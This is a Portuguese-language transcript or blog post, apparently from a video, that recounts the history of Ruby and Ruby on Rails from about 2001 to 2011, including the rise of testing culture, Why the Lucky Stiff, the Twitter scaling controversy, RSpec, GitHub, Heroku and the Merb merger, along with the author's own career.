<p>Os mundos de desenvolvimento tradicionais, sejam .NET, Java, PHP, não estavam assim muuuuito empolgados em adotar, só alguns pequenos nichos. Então nesse ponto era muito frustrante querer que os programadores fizessem testes, se você tentasse provavelmente todo mundo ia tirar sarro de você na melhor das hipóteses ou você podia ser demitido mesmo, por ser improdutivo fazendo código irrelevante pro projeto! Éee eu sei! De novo, aqui temos outro insight: é muito difícil implementar mudanças radicais como um TDD num ecossistema gigante que já existe e é resistente a mudanças. Não vai acontecer tão fácil, mas existem estratégias. Lembram que eu falei antes que um dos acertos improváveis do DHH foi ter escolhido Ruby, uma linguagem que ninguém usava? Eis o motivo de porque deu certo: porque ele precisava introduzir um novo paradigma mas sem ter que gastar tempo convencendo antigos usuários de Ruby e migrando projetos inteiros pro novo paradigma, por isso dava pra se mover muito rápido.</p>
<p>No ano 2001 o mundo Ruby começou a se interessar com a idéia de testes no estilo de xUnit, surgiram bibliotecas como testsup, depois Lapidary, finalmente RubyUnit e Test::Unit que seguia o estilo xUnit do Kent Beck. E isso foi adotado no Rails do DHH, como padrão! Não algo que você tinha que adicionar depois, mas algo que o framework obrigava você a manualmente tirar se não quisesse. Junte a isso que alguns agilistas como Ward Cunningham e acho que Martin Fowler já estavam com um olho no Ruby porque ele lembra o Smalltalk que eles já gostavam como a verdadeira orientação a objetos, um estilo que ficou perdido nos anos 80.</p>
<p>Aliás, o primeiro livro de Ruby em inglês saiu em 2001, apelidado de Pickaxe por causa da capa, foi escrito por dois signatários do Manifesto Ágil, Dave Thomas e Andy Hunt. Portanto você imagina que além de tudo essa comunidade ocidental de Ruby, começando do zero já iniciaria com Extreme Programming e The Pragmatic Programmer como filosofias de fundação. Finalmente uma comunidade de software que estava começando do zero do jeito certo, ou seja, o jeito verdadeiramente Ágil de desenvolvimento.</p>
<p>Mais do que isso, o tipo de desenvolvedor que virava rubista era muito estranho. O exemplo mais notável foi o lendário Why, the Lucky Stiff, que escreveu naquela mesma época o lendário livro que muitos usaram pra aprender Ruby: The Poignant Guide to Ruby. Sério, olha algumas páginas desse livro (video).</p>
<p>Why era um pseudônimo, e ele nunca quis revelar seu nome ou qualquer detalhe da sua vida, e quando algumas pessoas começaram a fuçar e começar expor sua vida pessoal, inclusive revelando seu nome verdadeiro como sendo Jonathan Gilette, ele fez uma coisa que admiro até hoje. Ele resolveu sumir do mapa em 2009, sem deixar vestígios. Aliás, em 18 de agosto de 2019 faz 10 anos desde que Why apagou todos os seus repositórios e sites e desapareceu.</p>
<p>Ele era um artista que usava código pra se expressar, e ao contrário de um Python ou Java com seu estilo de engenharia de ter só um jeito certo pra se fazer as coisas, e tudo deve ter consenso em comitê, o Ruby era o oposto: manipule a linguagem como você quiser. Ele tinha a liberdade do Lisp com a expressividade do Smalltalk. Nenhuma outra linguagem da época permitiria algo como o que Why fazia. Why the Lucky Stiff que inclusive é um nome que aparece citado uma única vez no romance The Fountainhead, de Ayn Rand. Outra coincidência que eu achei muito providencial dado que Why fez a mesma coisa que o fim do livro A Nascente.</p>
<p>(video acabando com chunky bacon)</p>
<p>Se você nunca ouviu a expressão “Chunky Bacon”, você ainda não aprendeu Ruby do jeito certo (risos). Ruby começou sendo ferramenta de artistas. A primeira geração de rubistas é um grupo que não se via igual talvez desde os anos 60 ou 70. E o que eu falei que Ruby atraía desenvolvedores estranhos é porque eram pessoas que gostavam de expressar suas décadas de experiência com código. Entrar num grupo gigante é fácil, é só ser um seguidor. Mas pra entrar num grupo com zero pessoas, você precisa ser um criador. Por isso a primeira geração de rubistas trouxe gente como Chad Fowler, Rich Kilmer, David Black, o falecido e adorado Jim Weirich, depois agilistas como Dave Thomas ou Martin Fowler ou Uncle Bob. Não deixem de assistir o documentário sobre o Why que eu co-apresentei na Rubyconf Brasil de 2014 com Kevin Triplett e meus artigos sobre ele que vou deixar nas descrições abaixo.</p>
<p>Então vamos recapitular nossa sopa primordial: uma linguagem obscura, que resgata o espírito de Smalltalk e Lisp, a orientação a objetos original, que implementa corretamente os princípios ágeis, e até mesmo outras noções como yagni ou you ain’t gonna need it, que é o jeito minimalista que o DHH aprendeu na renascença da nova Apple de Steve Jobs, numa comunidade de misfits e artistas wannabe, de desenvolvedores experientes dos anos 70 a 90 que queriam voltar a se expressar com código. Claro que isso atraiu a atenção de muitos  agilistas da época, incluindo metade dos signatários do manifesto. E mais do que isso: chegamos ao fim da depressão do crash das ponto coms em 2001, estava na hora de recomeçar a criar produtos e o Basecamp e o estilo Getting Real da 37signals se tornou o exemplo de como fazer isso. Aliás, o Getting Real que aqui no Brasil chegamos a fazer uma tradução oficial em português também e que se tornou o manifesto da nova geração de empreendedores de produtos de tech startups, muito antes do surgimento de Lean Startup.</p>
<p>E claro, todo mundo deu risada de Ruby on Rails, um framework não-enterprise, que não era infinitamente configurável, que vinha com defaults estranhos como MySQL em vez de suportar Oracle, que não tinha suporte pra Windows, que te obrigava a apagar os arquivos de testes, porque ninguém queria fazer testes no mundo Java, e ainda usando Macs??? Profissionais usam Windows XP, lógico! E ainda usando essa linguagem bizarra chamada Ruby que diz que é orientada a objetos mas não tem tipos estáticos como toda linguagem profissional como Java ou C#. Lógico que ia ser um fracasso. (gandhi)</p>
<p>Ah, e você não gosta do Jira hoje? Imagina como o Jira era mil vezes pior em 2004, e como todo mundo ria que algo no estilo Basecamp nunca seria usado no mundo enterprise. Se ainda não entendeu a gravidade da situação da época foi em 2003, 1 a 2 anos antes que o Java Server Faces, o JSF tinha acabado de ser lançado e todo mundo estava adotando aquele lixo, que era um ASP.NET WebForms piorado pra Java! Ah sim, pra quem gosta de falar em frameworks baseados em componentes e orientados a eventos, ASP.NET e JSF. (joinha)</p>
<p>A partir de agora, apertem os cintos, vamos fazer uma longa timeline, de uns 7 anos! Eu não vou por temas e sim em ordem cronológica. Vocês assistiram os demais videos do meu canal né? Porque agora muita coisa que eu disse neles vai se encaixar.</p>
<p>2004 foi um ano especial. Em 1o de Abril o Gmail foi lançado, demonstrando um dos primeiros single page applications e o poder de tecnologias como Ajax. Em 24 de julho saiu o primeiro beta público do Ruby on Rails versão 0.5. Em 2 de Outubro o DHH apresenta o Rails pela primeira vez numa RubyConf, que na época estima-se que tinha umas 60 pessoas na platéia. Três dias depois a O’Reilly promove a conferência Web 2.0 onde o termo foi cunhado pela primeira vez. Em 10 de dezembro o Google lança aquela funcionalidade que você usa todo dia e nem pensa muito, o Google Suggest, que vai te dando sugestões à medida que você vai digitando os termos de pesquisa, usando XMLHTTP e de novo demonstrando o poder do AJAX e comunicação assíncrona em tempo real. Todo mundo queria fazer a mesma coisa.</p>
<p>2005 não ia ficar pra trás. Logo no 1o dia do ano, a Robot Co-op lança o 43 Things; o site é um early adopter de Ruby on Rails. Em 8 de fevereiro o Google Maps lança pra Internet Explorer e Firefox, redefinindo o nível de interação possível em um web browser. Essa era a época que o Google tava literalmente on-fire lançando um app atrás do outro. E alguns dias depois, em 15 de Fevereiro, Jesse James Garrett cunha o termo Ajax para descrever as novas aplicações web ricas como Flickr, Google Suggest, ou Google Maps. No dia seguinte o Rodrigo Caffo cria a primeira mailing list brasileira de Rails, a Rails-BR.</p>
<p>Em março o britânico Peter Cooper começaria o blog Ruby Inside, o melhor blog pra se manter atualizado no mundo Ruby e Rails e que daria origem anos depois ao conjunto de mailing lists como JavaScript Weekly, Ruby Weekly, RubyFlow, Frontend Focus, Node Weekly, Golang Weekly e vários outros que centenas de milhares de desenvolvedores usam até hoje e se mantém com um dos melhores canais pra se manter atualizado. Em 7 de Abril tivemos outra revolução, o Lançamento inicial do sistema de controle de versão distribuída git. E na sequência, em 2 de Julho, o DHH grava o demo do blog de 15 minutos, demonstrando a velocidade do desenvolvimento rápido com Rails. Esse video se torna viral e todos os sites de todas as linguagens começam a notar a presença desse alien.</p>
<p>E não demorou muito, também por volta de julho tivemos o lançamento inicial do Groovy on Grails, um framework inspirado no Rails pra recém lançada linguagem Groovy que roda na JVM. Foi o primeiro de muitos clones de Rails que apareceriam nos próximos anos. Daí ainda em julho, no dia 7, é lançada a biblioteca javascript script.aculo.us 1.0.0 que possibilita um novo nível de interação em páginas web, tornando fácil adicionar os efeitos de estilo Web 2.0 nas suas aplicações. No dia  21 de Julho, o framework Django é lançado depois de ficar em desenvolvimento por mais de 2 anos. Em 4 de Agosto o livro Agile Web Development with Rails, primeira edição foi publicado pela PragProg, novamente escrito pelos agilitas Dave Thomas e Andy Hunt. E foi em outubro de 2005 que o indiano Satish Talim inaugurou o curso online pra iniciantes RubyLearning que está ativo até hoje e foi importante naquela época.</p>
<p>De curiosidade, em 3 de Dezembro teve a Conferência Snakes and Rubies que levou os criadores do Django e do Rails (video) pra discutir sobre frameworks web e os caminhos diferentes que eles tomaram. Naquela época ainda não estava claro quem ia ganhar, mas os motivos que eu já citei antes devem deixar claro porque um foi muito diferente do outro apesar de terem começado parecido. 10 dias depois o Rails 1.0 é lançado. (&hellip;) Nós tínhamos alguns dos melhores escritores de blog daquela geração, um dos melhores sempre foi o Ilya Grigorik do blog Igvita e que hoje é engenheiro de web performance do Google. Seus artigos sobre performance no Ruby e Web em geral influenciaram toda a nossa geração e vale a pena reler ainda hoje. Seu primeiro blog post foi ao ar em 28 de dezembro. E assim acaba 2005!</p>
<p>As coisas começam a esquentar em 2006. Primeiro, em março, Jamis Buck que entrou pra equipe Core do Rails renomeia seu projeto SwitchTower pra se tornar o que conhecemos como Capistrano e a forma inédita de automatizar deployment de projetos em máquinas de produção orquestrando via SSH, e essa ferramenta inspiraria diversas outras como o Fabric e Ansible de Python que vieram depois dele. Ainda em março, no dia 21 o Jack Dorsey posta o primeiro tweet: “just setting up my twttr”. 2 dias depois o Eustáquio Rangel lança o primeiro livro de Ruby no Brasil e um mês depois em 5 de Abril eu escrevo meu primeiro post no que viria depois a se tornar o blog AkitaOnRails.com.</p>
<p>Em 22 de Junho acontece a primeira RailsConf em Chicago. E já em 30 de Junho o rubista Hamptom Caitlin sobe o primeiro commit do SASS e inicia uma nova era de meta-linguagens pra tornar possível ser capaz de codar decentemente em linguagens chatas como CSS. Também já em 5 de Julho surge o JRuby 0.9, uma versão de Ruby que roda em cima da JVM e já consegue rodar Rails. Charles Nutter e Tom Enebo continuam firmes e fortes mantendo a linguagem até hoje.</p>
<p>Muito antes de termos a onda de cursos online que temos hoje, a comunidade Ruby on Rails foi pioneira em mostrar como cursos de qualidade poderiam ser feitos e foi Geoffrey Grosenbach que iniciou isso com seu Peepcode, que anos depois seria adquirida pela Pluralsight. Muita gente, incluindo eu, aprendemos muito nos cursos do Geoffrey.</p>
<p>Pra continuar os lançamentos revolucionários, em 25 de Agosto a Amazon Web Services, ou AWS, lança o Elastic Compute Cloud (EC2) e inicia de fato a Era do &ldquo;Cloud Computing&rdquo; como conhecemos hoje. No dia seguinte, em 26 de Agosto o John Resig lança o então adorado e hoje denegrido jQuery. Pouco mais de um mês depois em 6 de Outubro meu primeiro livro &ldquo;Repensando a Web com Rails&rdquo; saiu da gráfica, o primeiro de Rails publicado no Brasil. Três dias depois em 9 de Outubro, o Ronaldo Ferraz lança o primeiro tutorial de Rails no Brasil. E ainda em Outubro surge o primeiro framework concorrente de Rails escrito em Ruby, o Merb 0.03 que significa (&ldquo;Mongrel+Erb&rdquo;).</p>
<p>(video jobs iphone)</p>
<p>E falando em 2007, logo no começo do ano em 9 de Janeiro o mundo da tecnologia recebe um novo marco: o lançamento do primeiro iPhone. Poucos dias depois em 18 de Janeiro é lançado o Rails 1.2 lançado com o lendário RESTful resources e o mundo finalmente aprendeu que HTTP não é só GET e POST e finalmente os outros verbos ganharam uso. Foi neste ponto que mundo Web começou a proliferar a idéia de APIs REST como Roy Fielding publicou no ano 2000 definindo REST. Ruby on Rails se tornou o gold standard em APIs. Em 20 de Fevereiro o Christian Neukirchen define a interface Rack, inspirado pelo Web Service Gateway Interface ou WSGI de Python que foi definido na famosa PEP 333 de 7 de dezembro de 2003.</p>
<p>Em 4 de março o saudoso Ryan Bates lançou o primeiro episódio do videocast chamado Railscasts. Assim como Geoffrey da Peepcode ele criou dezenas de videos curtos sensacionais e muito bem produzidos e editados. Novamente mostrando como videos de programação poderiam ser bem feitos e ensinando toda uma geração de Railers, incluindo eu mesmo. Infelizmente ele parou por volta de 2013. Eu diria que o sucessor espiritual do Ryan hoje é o Avdi Grimm com seu também excelente RubyTapas, cujo primeiro episódio foi ao ar em 24 de setembro de 2012, então ele realmente é quase uma continuação do Railscasts só que voltado ao Ruby em si. Eu recomendo que vocês assinem.</p>
<p>Na renascença das tech startups, começaram a surgir as famigeradas redes sociais, a versão moderna do muro das lamentações. Na melhor fase tivemos Orkut, Friendster e MySpace que já estavam saturados mas o público pedia por mais. Facebook estava só começando a aparecer, não lembro se nesse ano já tinha aberto no Brasil. De repente um grupo que tinha crescido no mundo de blogs com a Odeo resolveu criar um modelo experimental de micro-blogging, que você podia enviar posts via SMS, e por isso tinha o limite de 140 caracteres. E eles resolveram batizar esses micro-posts de tweets, inaugurando também a era de nomes bizarros pra startups. E, mais importante, escolheram Ruby on Rails pra implementar. Claro, ser inspirado pelo framework do blog de 15 minutos pra fazer uma plataforma de micro-blogging fazia todo sentido. Eu abri minha conta em 2007 se não me engano.</p>
<p>Agora, em Abril de 2007 inicia-se a maior infâmia da história até então, a famigerada controvérsia do &ldquo;Rails não Escala&rdquo; iniciada por uma comunicação mal feita do Alex Payne, do próprio Twitter. Lembram que eu expliquei que Twitter foi criado como uma plataforma de micro-blogging? Pensa se o Twitter tivesse sido programado em cima do Wordpress. Só que 2 anos depois ele deu certo e milhões de pessoas começaram a usar, só que o uso mudou. Em vez de ser micro blog posts, a plataforma começou a ser usada como um sistema de comunicação, ou seja, de broadcast de mensagens. Claro que nem Ruby, nem PHP, nem Python, aguentariam isso. O problema nunca foi a linguagem, foi a arquitetura.</p>
<p>Só existia uma arquitetura conhecida na época que suportaria o broadcast massivo de mensagens, e se chamava Erlang. Mas ninguém queria ter que usar a sintaxe do Erlang, e por sorte o Odersky tinha acabado de lançar o Scala, com o framework Akka, que copia a arquitetura de atores do Erlang e possibilita usar esse sistema em cima da JVM. Ou seja, o Scala era a coisa mais próxima do Erlang que se tinha e, claro, fazia sentido mudar essa parte do back-end. Não é que o Rails não escala, nenhum outro framework em nenhuma outra linguagem ia escalar. Hoje em dia, pra esse cenário seria Elixir. Essa controvérsia seguiria o Rails por anos (e finalmente nos livramos disso, afinal se você acha que o Rails não escala, olhe pro GitHub, até hoje feito em Rails e usando a última versão)</p>
<p>Em 18 de Maio de 2007 o mundo de testes nunca mais seria o mesmo. Já expliquei sobre a importância de desenvolvimento com testes e como isso foi um gancho importante pra ganhar o apoio dos agilistas ao Rails, mas foi neste dia que o lendário RSpec foi lançado, baseado nas experiências de Steven Baker desde 2005 e com a ajuda de Dave Astels, Aslak Hellesøy que depois criaria o Cucumber, iniciando a era de Behavior Driven Development, e claro o simpático David Chelimsky que a comunidade brasileira adorou conhecer quando eu trouxe nas duas primeiras Rails Summit Latin America em 2008 e 2009. Todos os frameworks de teste na maioria das linguagens modernas que você conhece hoje como o Chai do Javascript é descendente direto do RSpec.</p>
<p>Seguindo na linha dos clones de Rails, ainda em maio de 2007 surge o Framework Play para Java. Em 16 de Maio eu iniciei meu primeiro emprego oficial como Railer full-time na Surgeworks, uma pequena consultoria de Utah. Mais pro fim vou falar da pessoa que se arriscou em contratar um brasileiro numa época em que isso era muito raro. Eu trabalhei remoto por um ano mais ou menos, onde eu finalmente comecei a programar em Rails profissionalmente, aos 30 anos. Só pra relembrar: eu deixei de ser sênior de Java e SAP e voltei a ser júnior e ganhar como júnior.</p>
<p>Por volta de Julho outro nome importante apareceu, o grupo do RailsEnvy com Gregg Pollack e Jason Seifer que contribuíram muito no estilo diferentão dos hipsters de Rails dessa época. Eles aproveitaram a campanha Get a Mac que a Apple agressivamente publicou como comerciais de TV entre 2006 e 2009, no auge da dominância da Apple do Zeitgeist, os famosos comerciais “Hello I’m a Mac ….</p>
<p>(comercial mac vs pc)</p>
<p>Então em 2007 Gregg e Jason fizeram diversos clones desses videos com o mesmo princípio com Rails pra tornar mais divertido a forma como a gente via as demais tecnologias diferentes de Rails que até aquele momento ainda estavam vivendo no passado. E eles fizeram vários videos começando com o famoso Hi, I’m Ruby on Rails … (comercial)</p>
<p>Vocês podem ver os videos no canal de YouTube do Gregg Pollack que vou deixar linkado abaixo. Com o tempo o Gregg e Jason acabaram se separando, o Gregg montou a consultoria EnvyLabs e em paralelo, seguindo nos passos de Geoffrey Grosenbach e Ryan Bates montou o famoso Code School, com uma grade mais estruturada pra ensinar Ruby on Rails e outras novas tecnologias. E foram eles que criaram o conceito de Rails for Zombies que depois outras comunidades, como Python, copiaram também. Não existia comunidade que gerava mais conteúdo técnico do que a de Rails naquela época. O Rails for Zombies foi o primeiro curso do Code School que foi lançado em 2010. E o negócio foi vendido em 2015 também pra PluralSight onde vocês ainda podem achar os cursos.</p>
<p>Em 4 de Outubro tivemos o lançamento inicial do microframework Sinatra, também escrito em Ruby mas que não tinha o objetivo de competir com o Rails, ele era mais focado em micro-aplicações ou mesmo pra ser micro-serviço de APIs; ele é largamente copiado em outras linguagens até hoje. Ainda em outubro, no dia 19 finalmente os rubistas Chris Wanstrath e Tom Preston-Werner começam a trabalhar no GitHub, literalmente de um Starbucks. O Chris tinha o blog Err the Blog e começou criando bibliotecas de Ruby que conseguiam interfacear com Git.</p>
<p>Também em outubro, no dia 22 foi a primeira vez que eu organizei um evento, em São Paulo, o RejectConf SP que teve muitos dos nomes do Ruby brasileiro que você reconhece até hoje como Carlos Brando (CTO do Enjoei), Danilo Sato (ThoughtWorks), Fabio Kung (que foi do Heroku por muitos anos e agora está no Netflix), Vinicius Teles (da HE:Labs), Carlos Villela (que foi da ThoughtWorks por muitos anos e foi pra DigitalOcean), George Guimarães (Plataformatec) e mais. A Caelum do Paulo Silveira estava lá também ajudando com o coffee-break da galera.    Vocês estão vendo como as coisas estão acontecendo muito rápido, todo mês, às vezes toda semana estava saindo alguma coisa que influenciaria o mercado pelos próximos anos. Como eu disse no começo, 2004 marcou o início de uma nova era pra Web.</p>
<p>(2008)
E pra não quebrar a tradição do ano iniciar com alguma coisa, já no primeiro dia de 2008 tivemos nosso primeiro grande RubyDrama. Era engraçado que antigamente não existia dramas em nenhum lugar, com frequência. Era tão raro na real que quando acontecia a gente chamava de RubyDrama. Notem que dramas só começaram a acontecer com frequência com o surgimento de plataformas como o Twitter. No caso do Ruby em 2008, Zed Shaw, o criador do Mongrel que foi o primeiro servidor de aplicações pra Rails, fez uma declaração bombástica de sua saída, chamando a comunidade Ruby de ghetto. Isso reverberou por um algum tempo. E ele não estava totalmente errado, só que ele não sabia jogar o jogo, o Zed é o tipo de cara tecnicamente excepcional mas de cabeça quente. Mas, todo drama que parece tão importante pra você hoje, alguns anos depois, ninguém mais nem se lembra, e o Mongrel foi rapidamente substituído por outros servidores de aplicação como o Thin, Passenger, Unicorn e depois o Puma que usamos hoje.</p>
<p>Mais importante do que isso, nesse mesmo dia 1o de Janeiro de 2008 foi quando o Heroku recebeu seu primeiro investimento seed de USD 20 mil da Y/Combinator. Esse foi o mesmo ano que eu participei da minha primeira Railsconf nos Estados Unidos. Lá eu conheci o James Lindenbaum um dos fundadores do Heroku. Eles estavam com um estande no evento e ninguém mais se lembra disso mas a primeira versão do Heroku era pra ser uma IDE Web pra desenvolvimento de software. Só que eles viram que isso não ia rolar naquela época. Pense que 10 anos atrás ainda era muito difícil imaginar coisas como o Electron que usamos hoje, o Google ainda não tinha começado a otimizar o Javascript, acho que nem tinha o V8 ainda. Então eles tiraram essa idéia mas ficaram com a segunda parte que era onde os apps iam rodar, a infraestrutura de containers que surgiria muito antes do Docker e que inaugura o primeiro PaaS ou Platform as a Service. Aliás, é disso que nasce as boas práticas do Doze Fatores ou 12 factors pra escalabilidade em 2007, escrito por Adam Wiggins que foi co-fundador do Heroku também. E, claro, Ruby on Rails foi o primeiro framework que estava compatível com os Doze Fatores.</p>
<p>Se você é de Elixir, pra efeitos históricos vale relembrar o projeto Reia de Tony Arcieri, que eu recomendo que vocês sigam porque ele manja muito sobre segurança e hoje em dia Rust. Pra dar perspectiva, o primeiro commit do Elixir do José Valim foi em 9 de Janeiro de 2011. O primeiro commit do Reia é de 21 de março de 2008 e ele é basicamente o Elixir uns três anos antes: uma nova linguagem muito mais próxima de Ruby que compila em bytecodes que executam na VM Beam do Erlang. No fim o Tony perdeu o interesse no projeto e foi fazer outras coisas como a biblioteca Celluloid pra Ruby que hoje é usado pra abstração de concorrência, seja de threads ou I/O assíncrono, inclusive hoje é dependência no Rails.</p>
<p>Já em 2 de Abril o desenvolvimento do Rails sai de Subversion e move seus repositórios pro GitHub, dando credibilidade pra essa ferramenta chamada Git que quase ninguém tinha ouvido falar fora dos grupos de Linux e desenvolvimento do kernel. Por muito tempo 90% dos repositórios que tinha no GitHub eram projetos Ruby e Rails, e todo mundo de fora começou a ficar interessado em testar. Alguns dias depois, em 10 de Abril o GitHub sai do beta e lança publicamente. Hoje em dia vocês nem pensam e basicamente adotam Git, mas nessa época além de Subversion, no mundo open source ainda tinha gente que usava CVS mesmo, e a nova geração ainda estava entre coisas como Mercurial ou Bazaar. Em 14 de Abril foi quando José Valim mandou seu primeiro commit pro Rails, foi o começo de 2 anos de trabalho que o tornou membro do grupo Rails Core em 2010.</p>
<p>Nesse ano eu estava tendo que me virar. Em Junho eu tinha saído da Surgeworks e entrei na Locaweb. Embarquei pra Portland, no Oregon, pra Railsconf com a missão de conseguir integrar com a comunidade de lá e organizar o primeiro grande evento de Rails no Brasil, na América Latina na real. Com cerca de 3 meses só pra organizar tudo do zero, em 15 de Outubro tivemos o Rails Summit Latin America 2008, no Auditório Elis Regina do Anhembi em São Paulo. Deu bastante trabalho mas os nomes que eu consegui trazer muitos vão reconhecer até hoje como Chad Fowler, um dos rubistas originais no Ocidente, fundador da Rubyconf, meus amigos Ninh Bui e Hongli Lai da Phusion que desenvolveram o Passenger, um dos servidores de aplicação tipo o Puma de hoje, o David Chelimsky que contribuía no projeto RSpec e Cucumber, o Chris Wanstrath, fundador do GitHub, o Dr. Nic, o Obie Fernandez e mais. Ninguém achava a) que um evento desses fosse possível, nem b) que ele seria consistente e duraria quase 10 anos! Nessa primeira edição acho que já conseguimos juntar mais de 400 pessoas.</p>
<p>Outro acontecimento que vale lembrar nesse ano foi em 2 de setembro quando o Google finalmente lança o venerado e hoje temido navegador Chrome junto com a engine de Javascript mais importante de todos os tempos, o controverso V8, que vai dar início ao atual ecossistema Javascript. Pare um instante pra considerar isso se você for iniciante. A Apple se inspirou no Konqueror do KDE, fez fork e transformou o componente KHTML no WebKit. Daí o Google tinha contratado engenheiros do Firefox alguns anos antes mas eles nunca se acharam na posição de empurrar um novo navegador, mas chegaram num ponto que fez sentido começar com o WebKit como fundação e, no melhor estilo Google, fazer um deles parecido a partir de um fork em 2013.</p>
<p>Pra fechar bem o ano, em 23 de Dezembro tivemos o merge dos projetos Rails e Merb e a  equipe do Merb se junta ao Rails core team. Lembram o RubyDrama do começo do ano do Zed Shaw? Ele tinha meia razão, sempre existiu um grupo fechado pra discutir o desenvolvimento do Ruby on Rails, e isso não é nenhum problema, o DHH sempre quis ser como um Steve Jobs, ele controla o Rails com mãos de ferro, e não só o código mas tudo relacionado ao “produto” Ruby on Rails, como a marca, o nome, os eventos e tudo mais. Certo ou errado, ele owna as decisões em vez de se esconder atrás de um comitê. Isso é integridade conceitual que todo projeto precisa: um ditador benevolente. Gostem ou odeiem, foi o que manteve o Rails intacto até hoje.</p>
<p>Mas deixa eu explicar esse episódio, só pra ter registrado. Durante essa bolha de interesse explosivo em cima de Ruby on Rails, alguma empresas foram fundadas pra suportar a infraestrutura de startups que cresciam do nada como Twitter ou GitHub, especialmente depois da famigerada controvérsia do Rails não escala do Alex Payne. Uma dessas foi a Engine Yard, que estava competindo com a AWS e Rackspace. Pense que em 2008 a AWS só existia fazia 2 anos e nem todo mundo ainda tinha entendido essa idéia de máquinas virtuais voláteis cobradas por uso. Ainda dava pra pensar em competir com a AWS. A Engine Yard foi fundada por pessoas excepcionais, em particular o EZRA ZYGMUNTOWICZ, super gente boa que eu conheci em 2008 também. Ele era genial, tanto como programador, como quanto infra.</p>
<p>Por exemplo, na época ele criou um sistema de deployment em máquinas físicas usando o protocolo Jabber que se usa em instant messager. Pensa você abrir faz de conta, um whatsapp de hoje em dia, e falar com sua infraestrutura e mandar ordens como atualizar as máquinas ou deployar apps, em 2008! Além disso ele foi o único que enxergou como fazer um concorrente de verdade pro Ruby on Rails, dado sua experiência com hardware e otimização de Linux, ele começou fazendo patches no Rails e no Mongrel e eventualmente criou o Mongrel ERB, um software que tira o Rails da equação. Em vez de fazer só mais um micro-framework, ele resolveu competir pau a pau e fez um Rails que muitos argumentariam que era melhor, esse foi o Merb.</p>
<p>A equipe que a Engine Yard montou contou com programadores como o Yehuda Katz e Carl Lerche pra acelerar o desenvolvimento do Merb. Tudo isso enquanto ele estava montando um data center, carregando servidores nas costas, montando rede, e ajudando outras tech startups a escalarem seus projetos em Rails. Então eles rapidamente criaram uma excelente reputação. Eles eram um dos maiores patrocinadores da Railsconf. Só que o erro foi que eles começaram a evangelizar o Merb agressivamente demais. Tipo, eles iam nas Railsconf falar mal do Rails e ofereciam o Merb como opção. Eu disse que o DHH queria ser o Steve Jobs? Saibam que a Railsconf só pode acontecer com o aval dele, porque a marca Ruby on Rails é trademark do DHH e o evento também. Imagina se na Macworld aparecesse um palestrante falando que Mac é um lixo, na frente do Steve Jobs. …. Pois é, o DHH ficou furioso com isso e eu soube de uma conversa dele com o Tom Mornini, um dos co-fundadores e na época CTO da Engine Yard. Eu estava online pouco depois que isso aconteceu falando com o Matt Aimonetti, outro core developer do Merb na época e o autor do post de reconciliação anunciando que o Merb seria mergeado no Rails.</p>
<p>Eu não estava fisicamente na sala ouvindo, então não me citem, mas do que eu ouvi foi um ultimato do DHH pro Tom Mornini. Ou vocês páram com essa palhaçada de falar mal do Rails, na Railsconf, que inclusive é o seu sustento já que vocês atendem clientes de Rails, ou vamos “ter problemas”. Isso seria péssimo problema de relações públicas num estágio onde eles provavelmente ainda estavam no vermelho, procurando mais investidores e mais clientes. Então no final a Engine Yard cedeu à pressão e anunciou parar o Merb. Foi assim que o Yehuda Katz, Carl Lerche e Matt Aimonetti entraram pro grupo Rails Core Team e foi assim que o Merb morreu e nasceu o Rails 3.0. ufffff</p>
<p>(2009)
Com toda essa controvérsia “resolvida” por enquanto, podemos começar o próximo ano, 2009 em 16 de Março com o lançamento do Rails 2.3; agora sendo uma aplicação Rack. Finalmente, só agora, 7 anos depois do lançamento do framework baseado em I/O assíncrono Twisted do Python, em 27 de Maio temos o lançamento inicial do Node.js graças ao V8 lançado um ano antes. Ela permite que programadores escrevam Javascript client side e server side, pela primeira vez desde o falecido Netscape Livescript nos anos 90. E só pra colocar um pé do Rails até nisso, Ryan Dahl mesmo disse que foi inspirado pelo parser do Mongrel de Zed Shaw pra fazer o Node.js.</p>
<p>Em 13 de Dezembro, Jeremy Ashkenas sobe o primeiro commit do Coffeescript, um dos primeiros transpilers pra tentar tornar programar em Javascript algo mais agradável. Lembrando que nesta época ainda não tínhamos nem sinais do ES6 e Javascript pré-ES6 era um pesadelo de se usar. Na época o Coffeescript era excelente pra se trabalhar, ele inventou o conceito de fat arrows pra funções anônimas, interpolação de strings e muito mais que hoje você tem no ES6, então é muito fácil odiar o Coffee hoje sem saber como era em 2009. O Coffeescript serviu seu propósito em ajudar a evoluir o Javascript.</p>
<p>Virando mais um ano, por volta de abril de 2010 Steve Jobs publica o prego no caixão do Adobe Flash com o artigo Thoughts on Flash e sedimenta o caminho para HTML 5 + CSS 3 + Javascript não só em dispositivos móveis mas também em desktops. O Flash se tornou um morto-vivo desde então. A intenção original de Jobs era empurrar o então melhor navegador com o então melhor engine Javascript que era o Safari no Mac e agora no iPhone como uma plataforma para criar aplicações web. Eu diria que foi Jobs que sem querer tornou mainstream o conceito de Single Page Apps e o primeiro framework javascript a oferecer isso foi o hoje defunto SproutCore que deixou descendente na forma do atual Ember, que foi criado pelo mesmo Yehuda Katz que trabalhou no Merb da Engine Yard e também no Rails 3.0 e resolveu o problema de dependências do Ruby com a introdução do Bundler, que se tornaria referência pra todas as ferramentas de gerenciamento que vieram depois dele como Hex do Elixir, Cargo do Rust, Npm e Yarn no Javascript e assim por diante.</p>
<p>Esse negócio de dois frameworks se unificarem e só sobrar um, como o próprio Yehuda lembrou na época, já tinha acontecido outras vezes. No mundo Java o Struts 2 foi um merge com outro framework, o WebWork que se vendia como “Struts feito direito”. Em 1o de agosto de 2010 é lançado o Rails 3.0 com contribuições do Merb core team; um ano desde o lançamento do Rails 2.3. O que sobrou da comunidade Merb viu as promessas de um caminho de migração e a idéia de que o Rails se tornaria mais próximo das idéias do Merb se esvair. E esse foi o fim dessa história.</p>
<p>2011 foi outro ano interessante, em 12 de Julho o Criador do Ruby, Yukihiro Matsumoto (Matz) e outros membros do Ruby Core, são contratados pelo Heroku. Em 31 de Agosto o Rails 3.1 é lançado e o jQuery substitui o antigo Prototype como padrão. E em 19 de Setembro eu anunciei a criação da minha primeira empresa de desenvolvimento de software própria, a Codeminer 42. Aqui se iniciaria uns 4 anos de pesadelo na minha vida, vocês não tem idéia de como doeu criar uma empresa do zero, bootstrapped, sem investimento externo, pra crescer de forma sustentável e ser lucrativa. Felizmente já faz uns 3 ou 4 anos que as coisas tão super bem, graças a de … graças aos esforços incessantes de quem trabalhou nesses últimos anos na empresa.</p>
